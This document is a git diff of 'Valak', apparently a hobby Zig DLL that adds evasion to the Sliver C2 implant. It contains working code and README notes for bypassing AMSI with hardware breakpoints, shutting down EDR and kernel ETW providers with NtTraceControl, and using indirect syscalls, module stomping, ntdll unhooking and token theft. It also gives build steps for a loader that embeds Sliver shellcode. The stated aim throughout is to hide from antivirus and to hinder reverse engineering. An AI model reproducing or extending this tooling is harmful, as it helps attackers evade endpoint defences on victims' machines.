diff --git a/README.md b/README.md index 5f67c19..e8f17b0 100644 --- a/README.md +++ b/README.md @@ -12,11 +12,11 @@ ngl this is just for fun, im still running through the ziglings course etc tryin ## Why Zig over C -No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see. +No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Smaller binary, less for AV to see. [Zig ships its own libc, doesn't depend on it.](https://ziglang.org/learn/overview/) -Detection engines mostly know C, C++, Rust, Go. +Detection engines mostly know C, C++, Rust, Go. As of mid-2026, [only one confirmed APT-grade Zig implant exists (VoidLink, Chinese-affiliated).](https://research.checkpoint.com/2026/voidlink-the-cloud-native-malware-framework/) -Ghidra struggles with Zig binaries (open bug). IDA doesn't properly support it either. Makes reverse engineering harder. +[Ghidra struggles with Zig binaries (open bug).](https://github.com/NationalSecurityAgency/ghidra/issues/8694) IDA doesn't properly support it either. Makes reverse engineering harder. Comptime makes sure struct layouts match the PE spec. Same low level control as C. @@ -37,6 +37,11 @@ Every time Sliver would normally call `time.Sleep(interval)`, Valak runs this in The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart — what every legitimate Windows thread looks like. No gap, no zeroed return address. +Call `patch_amsi()` first, then `patch_etw()`. Both use DR0 on the current thread, +so the second call overwrites the first. AMSI is higher priority — one scan block +saves your whole process. ETW falls back to NtTraceControl which stops providers +at the kernel level without needing DR0. + ## Evasion stack | Technique | How | @@ -44,15 +49,19 @@ The callstack during sleep shows kernel32!BaseThreadInitThunk → ntdll!RtlUserT | ChaCha20 encrypted .text sleep | SystemFunction040/041 → NtDelayExecution + PAGE_NOACCESS | | Synthetic callstack frames | kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart | | HWBP AMSI bypass | DR0 + VEH, no memory modified | -| HWBP ETW bypass | DR0 + VEH, no memory modified | +| ETW bypass | NtTraceControl on EDR GUIDs, fallback to HWBP on EtwEventWrite | | FreshyCalls syscall extraction | ntdll export table sorted by RVA, immune to inline hooks | | Indirect syscalls | Random gadget pool (64+ `syscall;ret` from ntdll .text) | +| Module stomping | .text overwrite into signed Microsoft DLL + PE header wipe | +| ntdll unhooking | Clean .text from \KnownDlls\ntdll.dll section object | +| Token theft | NtOpenProcess → NtOpenProcessToken → NtDuplicateToken | +| Memory wipe | @memset to zero on cleanup | | CRT-free | No libc import, minimal IAT footprint | ## Build ``` -cd evasion && zig build -Doptimize=ReleaseFast +cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/valak.dll ``` diff --git a/docs/BUILD.md b/docs/BUILD.md index 79cc61e..0794b6e 100644 --- a/docs/BUILD.md +++ b/docs/BUILD.md @@ -8,14 +8,14 @@ zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/valak.dll ``` -cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 80KB. +cross-compiles from any OS. output is a PE32+ DLL for x64 Windows, about 100KB. ## build the loader (optional) if you need a minimal shellcode loader to get your implant running: ```bash -# place your Sliver shellcode as valak.bin in the kage directory +# drop your Sliver .bin as kage/src/payload.bin cd ../kage zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast # → zig-out/bin/kage.exe diff --git a/evasion/amsi.zig b/evasion/amsi.zig index 08bea93..71a5684 100644 --- a/evasion/amsi.zig +++ b/evasion/amsi.zig @@ -1,23 +1,27 @@ // AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler // sets RAX=0 and skips the call. No bytes modified in amsi.dll. const std = @import("std"); -const win = @import("win32.zig"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const api = @import("api.zig"); var g_veh_handle: ?*anyopaque = null; var g_amsi_scan_addr: ?*anyopaque = null; -fn amsi_veh_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { - if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and +fn amsi_veh_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG { + if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr) { - ex.ContextRecord.Rax = 0; - const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; - ex.ContextRecord.Rip = ret_addr; - ex.ContextRecord.Rsp += 8; - return win.EXCEPTION_CONTINUE_EXECUTION; + ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN + const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as( + *const anyopaque, + @ptrFromInt(ex.ContextRecord.Rsp), + )))).*; + ex.ContextRecord.Rip = ret_addr; // jump to caller's return address + ex.ContextRecord.Rsp += 8; // pop return address off stack + return nt.EXCEPTION_CONTINUE_EXECUTION; } - return win.EXCEPTION_CONTINUE_SEARCH; + return nt.EXCEPTION_CONTINUE_SEARCH; } pub fn patch_amsi() void { @@ -36,16 +40,16 @@ pub fn patch_amsi() void { if (g_amsi_scan_addr == null) return; g_veh_handle = veh(1, amsi_veh_handler); const thread = cur_thread(); - var ctx = std.mem.zeroes(win.CONTEXT); - ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + var ctx = std.mem.zeroes(nt.CONTEXT); + ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?); - ctx.Dr7 = (1 << 0); + ctx.Dr7 = (1 << 0); // enable local breakpoint 0 _ = suspend_thread(thread); _ = set_ctx(thread, &ctx); _ = resume_thread(thread); } -// Undo AMSI bypass, remove VEH handler and clear DR0/DR7. +// Remove VEH handler, clear DR0 and DR7. pub fn unpatch_amsi() void { if (g_veh_handle) |h| { if (api.amsi_remove_vectored_exception_handler) |remove| { @@ -59,8 +63,8 @@ pub fn unpatch_amsi() void { if (api.amsi_suspend_thread) |suspend_t| { if (api.amsi_resume_thread) |resume_t| { const thread = cur_thread(); - var ctx = std.mem.zeroes(win.CONTEXT); - ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + var ctx = std.mem.zeroes(nt.CONTEXT); + ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = 0; ctx.Dr7 = 0; _ = suspend_t(thread); diff --git a/evasion/api.zig b/evasion/api.zig index 60b18fb..3848fc7 100644 --- a/evasion/api.zig +++ b/evasion/api.zig @@ -1,28 +1,28 @@ -const win = @import("win32.zig"); +// resolved function pointers from kernel32 + advapi32. all peb-walked, no iat entries added. +const windows = @import("std").os.windows; +const nt = @import("nt.zig"); const resolve = @import("resolve.zig"); -const apitypes = @import("apitypes.zig"); -pub const T_sleep_SystemFunction040 = apitypes.T_sleep_SystemFunction040; -pub const T_sleep_SystemFunction041 = apitypes.T_sleep_SystemFunction041; -pub const T_comms_LoadLibraryA = apitypes.T_comms_LoadLibraryA; -pub const T_amsi_LoadLibraryW = apitypes.T_amsi_LoadLibraryW; -pub const T_amsi_GetProcAddress = apitypes.T_amsi_GetProcAddress; -pub const T_amsi_AddVectoredExceptionHandler = apitypes.T_amsi_AddVectoredExceptionHandler; -pub const T_amsi_RemoveVectoredExceptionHandler = apitypes.T_amsi_RemoveVectoredExceptionHandler; -pub const T_amsi_GetCurrentThread = apitypes.T_amsi_GetCurrentThread; -pub const T_amsi_SetThreadContext = apitypes.T_amsi_SetThreadContext; -pub const T_amsi_SuspendThread = apitypes.T_amsi_SuspendThread; -pub const T_amsi_ResumeThread = apitypes.T_amsi_ResumeThread; -pub const T_etw_GetProcAddress = apitypes.T_etw_GetProcAddress; -pub const hash_ror13 = apitypes.hash_ror13; -pub const resolve_api = apitypes.resolve_api; -pub const get_module_by_hash = apitypes.get_module_by_hash; -pub const get_func_by_hash = apitypes.get_func_by_hash; -pub const NT_SUCCESS = apitypes.NT_SUCCESS; -pub const BCRYPT_INIT_AUTH_MODE_INFO = apitypes.BCRYPT_INIT_AUTH_MODE_INFO; +pub const hash_ror13 = resolve.hash_ror13; +pub const resolve_api = resolve.resolve_api; +pub const get_module_by_hash = resolve.get_module_by_hash; +pub const get_func_by_hash = resolve.get_func_by_hash; +pub const NT_SUCCESS = nt.NT_SUCCESS; + +pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS; +pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, windows.ULONG, windows.ULONG) callconv(nt.WINAPI) windows.NTSTATUS; +pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: windows.LPCSTR) callconv(nt.WINAPI) windows.HMODULE; +pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(nt.WINAPI) ?windows.HMODULE; +pub const T_amsi_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque; +pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque; +pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(nt.WINAPI) windows.ULONG; +pub const T_amsi_GetCurrentThread = *const fn () callconv(nt.WINAPI) windows.HANDLE; +pub const T_amsi_SetThreadContext = *const fn (hThread: windows.HANDLE, lpContext: *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL; +pub const T_amsi_SuspendThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD; +pub const T_amsi_ResumeThread = *const fn (hThread: windows.HANDLE) callconv(nt.WINAPI) windows.DWORD; +pub const T_etw_GetProcAddress = *const fn (hModule: windows.HMODULE, lpProcName: [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque; pub var comms_load_library_a: ?T_comms_LoadLibraryA = null; - pub var sleep_SystemFunction040: ?T_sleep_SystemFunction040 = null; pub var sleep_SystemFunction041: ?T_sleep_SystemFunction041 = null; @@ -37,9 +37,9 @@ pub var amsi_resume_thread: ?T_amsi_ResumeThread = null; pub var etw_get_proc_address: ?T_etw_GetProcAddress = null; -pub var hwbp_add_veh: ?*const fn (first: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque = null; -pub var hwbp_get_thread: ?*const fn () callconv(win.WINAPI) win.HANDLE = null; -pub var hwbp_set_thread_ctx: ?*const fn (win.HANDLE, *const win.CONTEXT) callconv(win.WINAPI) win.BOOL = null; +pub var hwbp_add_veh: ?*const fn (first: windows.ULONG, handler: *const fn (*nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG) callconv(nt.WINAPI) ?*anyopaque = null; +pub var hwbp_get_thread: ?*const fn () callconv(nt.WINAPI) windows.HANDLE = null; +pub var hwbp_set_thread_ctx: ?*const fn (windows.HANDLE, *const nt.CONTEXT) callconv(nt.WINAPI) windows.BOOL = null; var g_ensure_done: bool = false; @@ -50,39 +50,37 @@ pub fn ensure() void { const k32_hash = hash_ror13("kernel32.dll"); if (comms_load_library_a == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| { - comms_load_library_a = @ptrCast(p); - } + if (resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| comms_load_library_a = @ptrCast(p); } if (amsi_load_library_w == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p); } if (amsi_get_proc_address == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| { + if (resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| { amsi_get_proc_address = @ptrCast(p); etw_get_proc_address = @ptrCast(p); } } if (amsi_add_vectored_exception_handler == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p); } if (amsi_remove_vectored_exception_handler == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("RemoveVectoredExceptionHandler"))) |p| amsi_remove_vectored_exception_handler = @ptrCast(p); } if (amsi_get_current_thread == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p); } if (amsi_set_thread_context == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p); } if (amsi_suspend_thread == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p); } if (amsi_resume_thread == null) { - if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p); + if (resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p); } if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler; @@ -91,8 +89,8 @@ pub fn ensure() void { if (sleep_SystemFunction040 == null) { const advapi_hash = hash_ror13("advapi32.dll"); - _ = resolve.get_module_by_hash(advapi_hash); - if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p); - if (resolve.resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p); + _ = get_module_by_hash(advapi_hash); + if (resolve_api(advapi_hash, hash_ror13("SystemFunction040"))) |p| sleep_SystemFunction040 = @ptrCast(p); + if (resolve_api(advapi_hash, hash_ror13("SystemFunction041"))) |p| sleep_SystemFunction041 = @ptrCast(p); } } diff --git a/evasion/apitypes.zig b/evasion/apitypes.zig deleted file mode 100644 index 5b6d4bf..0000000 --- a/evasion/apitypes.zig +++ /dev/null @@ -1,26 +0,0 @@ -const win = @import("win32.zig"); -const resolve = @import("resolve.zig"); - -pub const hash_ror13 = resolve.hash_ror13; -pub const resolve_api = resolve.resolve_api; -pub const get_module_by_hash = resolve.get_module_by_hash; -pub const get_func_by_hash = resolve.get_func_by_hash; - -pub const NT_SUCCESS = win.NT_SUCCESS; -pub const BCRYPT_INIT_AUTH_MODE_INFO = win.BCRYPT_INIT_AUTH_MODE_INFO; - -pub const T_sleep_SystemFunction040 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS; -pub const T_sleep_SystemFunction041 = *const fn (*anyopaque, win.ULONG, win.ULONG) callconv(win.WINAPI) win.NTSTATUS; - -pub const T_comms_LoadLibraryA = *const fn (lpLibFileName: win.LPCSTR) callconv(win.WINAPI) win.HMODULE; - -pub const T_amsi_LoadLibraryW = *const fn (lpLibFileName: [*:0]const u16) callconv(win.WINAPI) ?win.HMODULE; -pub const T_amsi_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque; -pub const T_amsi_AddVectoredExceptionHandler = *const fn (dwFirst: win.ULONG, handler: *const fn (*win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG) callconv(win.WINAPI) ?*anyopaque; -pub const T_amsi_RemoveVectoredExceptionHandler = *const fn (handle: *anyopaque) callconv(win.WINAPI) win.ULONG; -pub const T_amsi_GetCurrentThread = *const fn () callconv(win.WINAPI) win.HANDLE; -pub const T_amsi_SetThreadContext = *const fn (hThread: win.HANDLE, lpContext: *const win.CONTEXT) callconv(win.WINAPI) win.BOOL; -pub const T_amsi_SuspendThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD; -pub const T_amsi_ResumeThread = *const fn (hThread: win.HANDLE) callconv(win.WINAPI) win.DWORD; - -pub const T_etw_GetProcAddress = *const fn (hModule: win.HMODULE, lpProcName: [*:0]const u8) callconv(win.WINAPI) ?*anyopaque; diff --git a/evasion/arch/hells_gate.s b/evasion/arch/hells_gate.s index 936d4de..6b59986 100644 --- a/evasion/arch/hells_gate.s +++ b/evasion/arch/hells_gate.s @@ -91,4 +91,5 @@ hell_descent: push r9 .Ldone: mov r9, rcx // restore arg4 + mov rcx, r10 // restore arg1 jmp r11 diff --git a/evasion/etw.zig b/evasion/etw.zig index 5870313..0ef2097 100644 --- a/evasion/etw.zig +++ b/evasion/etw.zig @@ -2,7 +2,8 @@ // NtTraceControl for known EDR provider GUIDs as best-effort tier. Kernel TI // provider emits from ntoskrnl.exe, user-mode EtwEventWrite HWBP cannot stop it. const std = @import("std"); -const win = @import("win32.zig"); +const windows = std.os.windows; +const nt = @import("nt.zig"); const api = @import("api.zig"); const resolve = @import("resolve.zig"); const syscall = @import("syscall.zig"); @@ -11,22 +12,26 @@ var g_etw_patched: bool = false; var g_etw_hwbp_veh: ?*anyopaque = null; var g_etw_event_write_addr: ?*anyopaque = null; -fn etw_hwbp_handler(ex: *win.EXCEPTION_POINTERS) callconv(win.WINAPI) win.LONG { - if (ex.ExceptionRecord.ExceptionCode == win.EXCEPTION_SINGLE_STEP and +fn etw_hwbp_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG { + if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and ex.ExceptionRecord.ExceptionAddress == g_etw_event_write_addr) { - const ret_addr = @as(*usize, @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(ex.ContextRecord.Rsp))))).*; + const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as( + *const anyopaque, + @ptrFromInt(ex.ContextRecord.Rsp), + )))).*; ex.ContextRecord.Rip = ret_addr; ex.ContextRecord.Rsp += 8; - return win.EXCEPTION_CONTINUE_EXECUTION; + return nt.EXCEPTION_CONTINUE_EXECUTION; } - return win.EXCEPTION_CONTINUE_SEARCH; + return nt.EXCEPTION_CONTINUE_SEARCH; } fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { - const get_addr = api.etw_get_proc_address orelse return false; - var etw_write = get_addr(ntdll, "EtwEventWrite"); - if (etw_write == null) etw_write = get_addr(ntdll, "EtwEventWriteFull"); + const get_addr: *const fn (windows.HMODULE, [*:0]const u8) callconv(nt.WINAPI) ?*anyopaque = @ptrCast(api.etw_get_proc_address orelse return false); + const hmod: windows.HMODULE = @ptrCast(ntdll); + var etw_write = get_addr(hmod, "EtwEventWrite"); + if (etw_write == null) etw_write = get_addr(hmod, "EtwEventWriteFull"); if (etw_write == null) return false; g_etw_event_write_addr = etw_write; @@ -38,21 +43,41 @@ fn try_hwbp_etw_bypass(ntdll: *anyopaque) bool { g_etw_hwbp_veh = veh(1, etw_hwbp_handler); if (g_etw_hwbp_veh == null) return false; + const suspend_thread = api.amsi_suspend_thread orelse return false; + const resume_thread = api.amsi_resume_thread orelse return false; const thread = cur_thread(); - var ctx = std.mem.zeroes(win.CONTEXT); - ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + _ = suspend_thread(thread); + var ctx = std.mem.zeroes(nt.CONTEXT); + ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?); ctx.Dr7 = (1 << 0); _ = set_ctx(thread, &ctx); + _ = resume_thread(thread); return true; } +// Best-effort NtTraceControl(code=2) on known EDR provider GUIDs. +// User-mode providers only. Kernel (Threat-Intelligence) silently ignored. +// HWBP on EtwEventWrite (tier 2) catches everything this misses. const edr_provider_guids = [_][16]u8{ + // Microsoft-Windows-Threat-Intelligence — kernel-level, NtTraceControl NO-OP from userland .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 }, + // Microsoft-Windows-Kernel-Process — process/thread creation, image loads .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 }, + // Vendor-specific EDR provider (tested against Sophos, unregistered on stock Win10) .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF }, + // Microsoft-Windows-Kernel-Audit-API-Calls — syscall auditing + .{ 0x1C, 0x84, 0x2A, 0xE0, 0xA3, 0x75, 0xA7, 0x4F, 0xAF, 0xC8, 0xAE, 0x09, 0xCF, 0x9B, 0x7F, 0x23 }, + // Microsoft-Windows-Kernel-File — file I/O + .{ 0x27, 0x89, 0xD0, 0xED, 0xC4, 0x9C, 0x65, 0x4E, 0xB9, 0x70, 0xC2, 0x56, 0x0F, 0xB5, 0xC2, 0x89 }, + // Microsoft-Windows-Kernel-Registry — registry operations + .{ 0x03, 0x4F, 0xEB, 0x70, 0xDE, 0xC1, 0x73, 0x4F, 0xA0, 0x51, 0x33, 0xD1, 0x3D, 0x54, 0x13, 0xBD }, + // Microsoft-Windows-Kernel-Network — TCP/UDP connections + .{ 0x49, 0x2A, 0xD4, 0x7D, 0x29, 0x53, 0x32, 0x48, 0x8D, 0xFD, 0x43, 0xD9, 0x79, 0x15, 0x3A, 0x88 }, }; +// Tier 1: try NtTraceControl. If any succeed, done. +// Tier 2: fall back to HWBP on EtwEventWrite. pub fn patch_etw() void { if (g_etw_patched) return; api.ensure(); @@ -60,9 +85,9 @@ pub fn patch_etw() void { var stopped_any = false; for (&edr_provider_guids) |*guid| { - var ret_len: win.ULONG = 0; + var ret_len: windows.ULONG = 0; const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len); - if (win.NT_SUCCESS(st)) { + if (nt.NT_SUCCESS(st)) { stopped_any = true; } } @@ -90,11 +115,15 @@ pub fn unpatch_etw() void { const cur_thread = api.hwbp_get_thread orelse return; const set_ctx = api.hwbp_set_thread_ctx orelse return; + const suspend_t = api.amsi_suspend_thread orelse return; + const resume_t = api.amsi_resume_thread orelse return; const thread = cur_thread(); - var ctx = std.mem.zeroes(win.CONTEXT); - ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + _ = suspend_t(thread); + var ctx = std.mem.zeroes(nt.CONTEXT); + ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS; ctx.Dr0 = 0; ctx.Dr7 = 0; _ = set_ctx(thread, &ctx); + _ = resume_t(thread); } } diff --git a/evasion/frames.zig b/evasion/frames.zig index de88b4e..f383dd5 100644 --- a/evasion/frames.zig +++ b/evasion/frames.zig @@ -4,12 +4,14 @@ const std = @import("std"); const resolve = @import("resolve.zig"); const syscall = @import("syscall.zig"); +const pe = @import("pe.zig"); extern var qFakeRtlUserThreadStart: usize; extern var qFakeBaseThreadInitThunk: usize; extern var qRtlUserFrameSize: usize; extern var qBaseThreadFrameSize: usize; +// x64 unwind opcodes from the PE/COFF spec. const UWOP_PUSH_NONVOL: u8 = 0; const UWOP_ALLOC_LARGE: u8 = 1; const UWOP_ALLOC_SMALL: u8 = 2; @@ -19,6 +21,7 @@ const UWOP_SAVE_NONVOL_FAR: u8 = 5; const UNW_FLAG_CHAININFO: u8 = 0x04; const RBP_OP_INFO: u8 = 5; +// Compute total frame size from .pdata UNWIND_INFO. fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) bool { const info = @as(*align(1) const extern struct { VersionAndFlags: u8, @@ -35,8 +38,8 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo while (idx < info.CountOfCodes) : (idx += 1) { const code = info.UnwindCode[idx]; - const op = @as(u8, @truncate(code & 0xF)); - const info_field = @as(u8, @truncate((code >> 4) & 0xF)); + const op: u8 = @truncate(code & 0xF); + const info_field: u8 = @truncate((code >> 4) & 0xF); switch (op) { UWOP_PUSH_NONVOL => { @@ -73,7 +76,6 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo } } - // Chained unwind info if ((info.VersionAndFlags & UNW_FLAG_CHAININFO) != 0) { idx = info.CountOfCodes; if ((idx & 1) != 0) idx += 1; @@ -87,13 +89,13 @@ fn calc_frame_size(mod_base: [*]const u8, unwind_rva: u32, out_size: *usize) boo return true; } -// Binary search .pdata for unwind entry covering the given RVA. +// Binary search .pdata exception directory for the RUNTIME_FUNCTION covering target_rva. fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } { const exc_begin = syscall.g_exc_begin; const exc_count = syscall.g_exc_count; if (exc_begin == 0 or exc_count == 0) return null; - const funcs = @as([*]align(1) const syscall.RUNTIME_FUNCTION, @ptrFromInt(exc_begin)); + const funcs: [*]align(1) const syscall.RUNTIME_FUNCTION = @ptrFromInt(exc_begin); var lo: usize = 0; var hi: usize = exc_count; while (lo < hi) { @@ -110,41 +112,37 @@ fn find_runtime_entry(target_rva: u32) ?struct { begin: u32, unwind: u32 } { return null; } +// Find the RVA of a named export in a module. fn export_rva(mod: [*]const u8, name: []const u8) ?u32 { - const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(mod))); + const dos: *align(1) const pe.IMAGE_DOS_HEADER = @ptrCast(@alignCast(mod)); if (dos.e_magic != 0x5A4D) return null; - const nt = @as(*align(1) extern struct { - Signature: u32, - FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, - OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, - }, @ptrCast(@constCast(mod + @as(usize, @intCast(dos.e_lfanew))))); - if (nt.Signature != 0x00004550) return null; + const nt_hdrs: *align(1) const pe.IMAGE_NT_HEADERS64 = @ptrCast(@alignCast( + mod + @as(usize, @intCast(dos.e_lfanew)), + )); + if (nt_hdrs.Signature != 0x00004550) return null; - const exp_dir = nt.OptionalHeader.DataDirectory[0]; + const exp_dir = nt_hdrs.OptionalHeader.DataDirectory[0]; if (exp_dir.VirtualAddress == 0) return null; - const exp = @as(*align(1) extern struct { - Characteristics: u32, - TimeDateStamp: u32, - MajorVersion: u16, - MinorVersion: u16, - Name: u32, - Base: u32, - NumberOfFunctions: u32, - NumberOfNames: u32, - AddressOfFunctions: u32, - AddressOfNames: u32, - AddressOfNameOrdinals: u32, - }, @ptrCast(@constCast(mod + @as(usize, @intCast(exp_dir.VirtualAddress))))); + const exp: *align(1) const pe.IMAGE_EXPORT_DIRECTORY = @ptrCast(@alignCast( + mod + @as(usize, @intCast(exp_dir.VirtualAddress)), + )); - const names = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNames)))))); - const funcs = @as([*]u32, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfFunctions)))))); - const ords = @as([*]u16, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(exp.AddressOfNameOrdinals)))))); + const names: [*]align(1) const u32 = @ptrCast(@alignCast( + @as([*]const u8, @ptrCast(mod)) + exp.AddressOfNames, + )); + const funcs: [*]align(1) const u32 = @ptrCast(@alignCast( + @as([*]const u8, @ptrCast(mod)) + exp.AddressOfFunctions, + )); + const ords: [*]align(1) const u16 = @ptrCast(@alignCast( + @as([*]const u8, @ptrCast(mod)) + exp.AddressOfNameOrdinals, + )); - var i: u32 = 0; - while (i < exp.NumberOfNames) : (i += 1) { - const n = @as([*:0]const u8, @ptrCast(@alignCast(@constCast(mod + @as(usize, @intCast(names[i])))))); + for (0..exp.NumberOfNames) |i| { + const n: [*:0]const u8 = @ptrCast(@alignCast( + @as([*]const u8, @ptrCast(mod)) + names[i], + )); if (std.mem.eql(u8, std.mem.sliceTo(n, 0), name)) { if (ords[i] < exp.NumberOfFunctions) { return funcs[ords[i]]; @@ -154,13 +152,14 @@ fn export_rva(mod: [*]const u8, name: []const u8) ?u32 { return null; } +// Called once at DLL init. Results stored in asm globals used by evasion_sleep. pub fn init_frames() void { if (qFakeRtlUserThreadStart != 0) return; const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return; const k32 = resolve.get_module_by_hash(resolve.hash_ror13("kernel32.dll")) orelse return; - const ntdll_bytes = @as([*]const u8, @ptrCast(ntdll)); - const k32_bytes = @as([*]const u8, @ptrCast(k32)); + const ntdll_bytes: [*]const u8 = @ptrCast(ntdll); + const k32_bytes: [*]const u8 = @ptrCast(k32); const btit_rva = export_rva(k32_bytes, "BaseThreadInitThunk") orelse return; if (find_runtime_entry(btit_rva)) |entry| { diff --git a/evasion/main.zig b/evasion/main.zig index 3f2be89..58ae628 100644 --- a/evasion/main.zig +++ b/evasion/main.zig @@ -1,7 +1,4 @@ -// Valak evasion DLL, drop-in sleep obfuscation and AMSI/ETW bypass. -// Built for Sliver, protocol-agnostic. Exports resolved at runtime by Go bridge. -// Follows Windows x64 ABI. - +// DLL exports for the Sliver Go bridge. const api = @import("api.zig"); 